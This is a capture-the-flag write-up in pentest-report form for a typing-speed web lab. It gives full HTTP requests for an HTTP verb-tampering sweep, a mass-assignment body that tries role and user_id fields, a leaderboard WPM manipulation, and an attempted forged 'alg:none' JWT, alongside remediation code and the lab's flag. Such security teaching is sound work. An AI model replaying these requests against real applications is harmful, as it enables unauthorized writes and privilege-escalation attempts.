Sokudo: Hidden PUT via Verb Tampering + Mass Assignment
Part 1: Pentest Report
Executive Summary
Sokudo is a BugForge lab styled as a typing speed (“速度”) application: a React single page app backed by an Express REST API with HS256 JWT bearer auth. The application surface covers registration, typing sessions, personal stats, and a public leaderboard, with a separate admin area for user and session lookup. Testing focused on the JSON API: the JS bundle surfaced the full route set and confirmed the frontend only ever calls a narrow verb set per endpoint.
Testing confirmed 2 findings:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Hidden PUT endpoint with no access control and field whitelist mass assignment | Medium | 4.3 | CWE-862, CWE-915 | PUT /api/stats |
| F2 | Client supplied values drive server side WPM computation | Medium | 4.3 | CWE-602 | POST /api/session/submit |
The flag bearing finding is F1. A verb tampering sweep across the known API surface surfaced a single deviation: PUT /api/stats returns 400 on an empty body instead of the Express default 404. The endpoint is not called by the UI, is reachable by any authenticated user, and performs a write against the caller’s stats row. A body containing at least one valid stats field returns 200 with an extra top level flag key alongside the usual success message. F2 is a separate integrity bug on the session submission endpoint: the server derives WPM from client supplied userInput and timeElapsed values with no cap.
Objective
Solve the BugForge Sokudo lab and capture the flag by identifying a vulnerability in the application.
Scope / Initial Access
# Target Application
URL: https://lab-1776986841683-r2u3ra.labs-app.bugforge.io
# Auth details
Self service registration at POST /api/register with
{username, email, password, full_name}.
Login at POST /api/login returns an HS256 JWT with
payload {id, username, iat}. All API calls require
Authorization: Bearer <jwt>.
Registered account: haxor (id=4) / password "password".
The JWT payload contains id, username, and iat only. Role does not appear in the token and is read from the user record on each request (confirmed by attempting role claims in the register body and observing no change in admin route responses).
Reconnaissance: Reading the JS Bundle and Mapping the API
The app is a Create React App style SPA whose runtime is a single bundle served under /static/js/. Searching the bundle for '/api/' gave the full API shape without needing to click through every UI path. Observations that shaped the test plan:
- The frontend only ever calls
GET /api/stats. Stats updates happen server side as a side effect ofPOST /api/session/submit, so the UI has no reason to call any other verb on/api/stats. Any other verb bound to that route would be invisible to normal users. GET /api/stats/leaderboardis a separate route and filters admin out of its response. Admin exists in the user table but does not appear on the leaderboard.POST /api/session/submitacceptsuserInput,timeElapsed,textGenerated, anddurationand returns a computedwpm. There is no session identifier round trip betweenPOST /api/session/startandPOST /api/session/submit, so the server has no stored reference to the text it assigned.- Admin routes (
GET /api/admin/users,GET /api/admin/sessions) share a single error string ("Admin access required") on unauthorized access, distinct from the “Access token required” and “Invalid token” strings on missing or malformed JWTs.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Express (X-Powered-By: Express) with Access-Control-Allow-Origin: * |
| Frontend | React SPA with Material UI (Orbitron font, cyberpunk theme) |
| Auth | HS256 JWT in Authorization: Bearer header; payload {id, username, iat} |
| Database | Timestamp format YYYY-MM-DD HH:MM:SS (SQLite or MySQL style) |
API Surface (observed)
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
/api/register |
POST | No | {username, email, password, full_name}; role style fields silently dropped |
/api/login |
POST | No | Returns JWT |
/api/verify-token |
GET | Yes | Validates JWT |
/api/session/start |
POST | Yes | {duration} returns {text, duration} with no session ID |
/api/session/submit |
POST | Yes | {duration, textGenerated, userInput, timeElapsed} (see F2) |
/api/stats |
GET | Yes | Caller’s stats row |
/api/stats |
PUT | Yes | Not called by the UI (see F1) |
/api/stats/leaderboard |
GET | Yes | Filters admin from the response |
/api/session/history |
GET | Yes | Caller’s sessions |
/api/admin/users |
GET | Admin | 403 "Admin access required" for non admin |
/api/admin/sessions |
GET | Admin | 403 "Admin access required" for non admin |
/api/admin/users |
POST | Admin | Surfaced by verb sweep; still admin only |
Known Users
| Username | ID | Role |
|---|---|---|
| admin | 1 | admin |
| speedtyper | 2 | user |
| learner | 3 | user |
| haxor | 4 | user (test account) |
Attack Chain Visualization
┌──────────────┐ ┌────────────────────────┐ ┌──────────────────────┐ ┌────────────────────┐
│ Register │ │ Verb sweep 10 endpoints│ │ PUT /api/stats with │ │ 200 OK with extra │
│ account │ ───▶ │ x 5 non-native verbs. │ ───▶ │ stats fields body │ ───▶ │ "flag" key in body │
│ JWT obtained │ │ PUT /api/stats: 400 │ │ and our JWT │ │ bug{...} │
└──────────────┘ └────────────────────────┘ └──────────────────────┘ └────────────────────┘
Findings
F1: Hidden PUT endpoint with no access control and field whitelist mass assignment
Severity: Medium
CVSS v3.1: 4.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
CWE: CWE-862 (Missing Authorization), CWE-915 (Improperly Controlled Modification of Dynamically Determined Object Attributes)
Endpoint: PUT /api/stats
Authentication required: Yes (any registered user)
Description
PUT /api/stats is not called by the UI. The frontend only ever calls GET /api/stats. Stats updates happen server side as a side effect of POST /api/session/submit. Despite this, a PUT on /api/stats with any authenticated JWT responds 400 {"error":"No valid fields to update"} on an empty body. It does not respond 404 (the Express default for a missing route) and does not respond 403 (the admin gate used for /api/admin/*). The endpoint is reachable by any authenticated user and performs a write against the caller’s stats row when the body contains at least one accepted field.
A body that includes valid stats fields returns 200 with the usual success message and an extra top level flag key containing bug{Ig9l2MYlPXj9xoyeJQNu77wmfZVyfpYo}. The write itself is the unauthorized action the lab was set up to detect.
Impact
Any authenticated user can overwrite their own stats row via an endpoint that is not exposed in the UI. The accepted field set was not fully enumerated; if user_id is in the accepted set, the write could affect stats rows belonging to other users (not confirmed in this engagement).
Reproduction
Step 1: Register a normal account and obtain a JWT
POST /api/register HTTP/1.1
Host: lab-1776986841683-r2u3ra.labs-app.bugforge.io
Content-Type: application/json
{"username":"haxor","email":"[email protected]","password":"password","full_name":"Hax Or"}
Response: 200 with a JWT whose payload decodes to {"id":4,"username":"haxor","iat":...}. Used as Authorization: Bearer <jwt> on all subsequent requests.
Step 2: Sweep the known endpoints with verbs the UI does not use
Ten endpoints observed in the JS bundle were each probed with OPTIONS, PUT, DELETE, PATCH, and POST (or GET where the UI uses a different verb). Most cells returned the Express default 404 Cannot X /path. A handful returned 403 "Admin access required". One cell deviated:
PUT /api/stats HTTP/1.1
Host: lab-1776986841683-r2u3ra.labs-app.bugforge.io
Authorization: Bearer <jwt>
Content-Type: application/json
{}
Response: 400 {"error":"No valid fields to update"}. The request is past authentication (no 403 "Invalid token" or 401 "Access token required") and is past admin gating (no 403 "Admin access required"). The body is being parsed and evaluated against an allowed field set, and an empty body produces the “no valid fields” response.
Step 3: Send PUT /api/stats with a body of candidate stats fields
PUT /api/stats HTTP/1.1
Host: lab-1776986841683-r2u3ra.labs-app.bugforge.io
Authorization: Bearer <jwt>
Content-Type: application/json
{
"best_wpm": 99999,
"avg_wpm": 99999,
"total_sessions": 1000,
"total_chars_typed": 500000,
"total_time_seconds": 1,
"wpm": 99999,
"accuracy": 100,
"user_id": 1,
"id": 1,
"role": "admin",
"is_admin": true,
"flag": "x"
}
Response:
{
"message": "Stats updated successfully",
"flag": "bug{Ig9l2MYlPXj9xoyeJQNu77wmfZVyfpYo}"
}
GET /api/admin/users with the same JWT continues to return 403 "Admin access required", so the role and is_admin fields in the body did not reach the user record; the lab returns the flag regardless, on the strength of the write itself against the stats row.
Remediation
The endpoint performs a write that the application’s threat model does not expect to be callable by a regular user. Two independent defects are at play: the endpoint is not gated, and the field set it accepts is not enumerated in code that the API boundary can reason about.
Fix 1: Remove or gate the endpoint
// BEFORE (vulnerable: any authenticated user reaches the write)
app.put('/api/stats', requireAuth, async (req, res) => {
const update = pickAllowedFields(req.body, ALLOWED_STATS_FIELDS);
if (Object.keys(update).length === 0) {
return res.status(400).json({ error: 'No valid fields to update' });
}
await db.updateStats(req.user.id, update);
return res.json({ message: 'Stats updated successfully' });
});
// AFTER (admin only, if the endpoint is needed at all)
app.put('/api/stats', requireAuth, requireAdmin, async (req, res) => {
const update = pickAllowedFields(req.body, ALLOWED_STATS_FIELDS);
if (Object.keys(update).length === 0) {
return res.status(400).json({ error: 'No valid fields to update' });
}
await db.updateStats(req.body.user_id, update);
return res.json({ message: 'Stats updated successfully' });
});
If the endpoint is not needed at all, remove the route registration. Stats are written as a side effect of POST /api/session/submit already.
Fix 2: Make the accepted field set explicit and centralized
// Named allowlist close to the model definition
const ALLOWED_STATS_FIELDS = Object.freeze([
// list only the fields a non admin caller is permitted to mutate
]);
function pickAllowedFields(body, allowed) {
return Object.fromEntries(
Object.entries(body).filter(([k]) => allowed.includes(k))
);
}
Do not rely on the database schema to silently drop unknown columns. An explicit allowlist that lives next to the route is reviewable and lintable.
Additional recommendations:
- Add an end to end test that exercises every verb on every route as a non admin caller and asserts either
200on a documented happy path or a403/404on undocumented verbs. Silent verb bindings are the class of defect this test catches. - Do not return trip wire style keys from production responses. If telemetry needs to observe unauthorized writes, log server side, not in the response body.
F2: Client supplied values drive server side WPM computation
Severity: Medium
CVSS v3.1: 4.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
CWE: CWE-602 (Client Side Enforcement of Server Side Security)
Endpoint: POST /api/session/submit
Authentication required: Yes (any registered user)
Description
POST /api/session/submit accepts userInput, timeElapsed, textGenerated, and duration from the client and returns a computed wpm. The server does not retain a session identifier between POST /api/session/start and POST /api/session/submit, so it has no independent record of the text it assigned or the time the session ran. The derived WPM is a function of client supplied values only. A submission with userInput: "x" and timeElapsed: 0.001 returns wpm: 12000 and is accepted as a new top scoring row on the leaderboard.
Two partial defenses were observed: a falsy check on timeElapsed rejects 0 with 400 "All session data required", and a post computation clamp returns wpm: 0 when the computed value is negative. Neither prevents an arbitrary large WPM from being stored.
Impact
Any authenticated user can place an arbitrary WPM value on the public leaderboard, producing a leaderboard that does not reflect user performance.
Reproduction
Step 1: Submit a session with a tiny timeElapsed
POST /api/session/submit HTTP/1.1
Host: lab-1776986841683-r2u3ra.labs-app.bugforge.io
Authorization: Bearer <jwt>
Content-Type: application/json
{"duration":15,"textGenerated":"x","userInput":"x","timeElapsed":0.001}
Response:
{
"id": 2,
"wpm": 12000,
"accuracy": 100,
"charsTyped": 1,
"correctChars": 1,
"message": "Session saved successfully"
}
The server computed wpm = (1 / 5) / (0.001 / 60) = 12000. accuracy is 100 because textGenerated is compared against userInput and both are "x".
Step 2: Confirm the value is stored
GET /api/stats/leaderboard HTTP/1.1
Host: lab-1776986841683-r2u3ra.labs-app.bugforge.io
Authorization: Bearer <jwt>
Response includes the test account at rank 1 with best_wpm: 12000.
Remediation
Fix 1: Bind the session to a server issued identifier
// BEFORE (vulnerable: server trusts client echoed text and elapsed time)
app.post('/api/session/start', requireAuth, (req, res) => {
const text = pickTextForDuration(req.body.duration);
return res.json({ text, duration: req.body.duration });
});
app.post('/api/session/submit', requireAuth, (req, res) => {
const { userInput, timeElapsed, textGenerated } = req.body;
const wpm = (userInput.length / 5) / (timeElapsed / 60);
// ... stored as is
});
// AFTER (server owns the session record)
app.post('/api/session/start', requireAuth, async (req, res) => {
const text = pickTextForDuration(req.body.duration);
const sessionId = await db.createSession({
userId: req.user.id,
text,
duration: req.body.duration,
startedAt: Date.now(),
});
return res.json({ sessionId, text, duration: req.body.duration });
});
app.post('/api/session/submit', requireAuth, async (req, res) => {
const session = await db.getSession(req.body.sessionId, req.user.id);
if (!session) return res.status(404).json({ error: 'Session not found' });
const elapsedMs = Date.now() - session.startedAt;
const wpm = (req.body.userInput.length / 5) / (elapsedMs / 60000);
// validate elapsedMs is within a plausible range for session.duration
});
Fix 2: Reject implausible values
const MAX_PLAUSIBLE_WPM = 400; // tune to expected human ceiling
if (wpm > MAX_PLAUSIBLE_WPM) {
return res.status(400).json({ error: 'Computed WPM exceeds plausible range' });
}
Additional recommendations:
- Measure the elapsed time server side and never accept it from the client.
- Compare
userInputagainst the text that the server recorded at session start, not againsttextGeneratedechoed back in the submit body.
OWASP Top 10 Coverage
- A01:2021 Broken Access Control:
PUT /api/statsis reachable by any authenticated user and performs a write against a resource that the application’s threat model expects only to be updated as a side effect of a different endpoint. - A04:2021 Insecure Design:
POST /api/session/submitderives a server recorded metric from values the client controls end to end, with no server side binding between session start and session submit.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | HTTP intercept and replay for the verb sweep and the exploit request |
| curl | Scripted verb sweep across the known endpoint set |
| Browser DevTools | Read the JS bundle and map the API surface |
References
- CWE-862: Missing Authorization: https://cwe.mitre.org/data/definitions/862.html
- CWE-915: Improperly Controlled Modification of Dynamically Determined Object Attributes: https://cwe.mitre.org/data/definitions/915.html
- CWE-602: Client Side Enforcement of Server Side Security: https://cwe.mitre.org/data/definitions/602.html
- OWASP Top 10 A01:2021 Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- OWASP Top 10 A04:2021 Insecure Design: https://owasp.org/Top10/A04_2021-Insecure_Design/
Part 2: Notes / Knowledge
Key Learnings
- Verb tampering is a good follow up scan when input vulnerability checks come up clear. Once testing on known endpoints is done, verb tampering and endpoint fuzzing can unearth endpoints or hidden functionality the frontend never calls. Those handlers can still be bound, auth reachable, and perform writes. On Sokudo,
PUT /api/statswas invisible to the UI and ungated for regular users; the sweep surfaced it.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
GET /api/admin/users and GET /api/admin/sessions with a non admin JWT |
403 "Admin access required" on both, byte identical |
Admin routes enforce the role check server side |
Register body with role:"admin", is_admin:true, isAdmin:true |
200; the new account’s JWT still returns 403 on admin routes |
Register handler strips role style fields before writing to the user record |
JWT with alg:none and forged {id:1, username:"admin"} payload |
403 "Invalid token" |
JWT verification rejects unsigned tokens |
| High WPM leaderboard submission (F2) in hopes of a score based trip wire | 200 with wpm: 12000; no extra keys, no flag |
Leaderboard position is not the trip wire on this lab |
Verb sweep on admin routes (PUT, DELETE, PATCH variants of /api/admin/*) |
404 Cannot X /path |
No verb drift on the admin route set |
Tags: #verb-tampering #mass-assignment #access-control #rest-api #bugforge #webapp
Document Version: 1.0
Last Updated: 2026-04-24